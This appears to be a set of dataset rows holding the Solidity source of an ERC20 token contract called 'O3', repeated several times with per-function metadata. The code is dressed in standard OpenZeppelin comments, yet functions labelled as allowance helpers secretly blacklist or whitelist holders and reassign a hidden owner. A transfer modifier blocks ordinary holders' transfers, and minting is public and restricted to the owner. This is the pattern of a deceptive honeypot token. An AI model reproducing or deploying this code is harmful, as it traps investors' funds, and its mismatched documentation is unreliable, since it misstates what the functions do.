* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | decreaseAllowance | function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
| /**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
6234,
6382
]
} | 4,246 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | addApprove | function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
| /**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
6797,
7081
]
} | 4,247 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | _transfer | function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
| /**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/ | NatSpecMultiLine | v0.6.12+commit.27d51765 | None | ipfs://c4bc1e130b327cbd6705fc2ec74f3d29ab3e1079461891549f03b4d19daeb3bb | {
"func_code_index": [
7568,
8116
]
} | 4,248 |
O3 | O3.sol | 0xc801a2f9097dc96db9d1671017eaec5a74bce087 | Solidity | O3 | contract O3 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
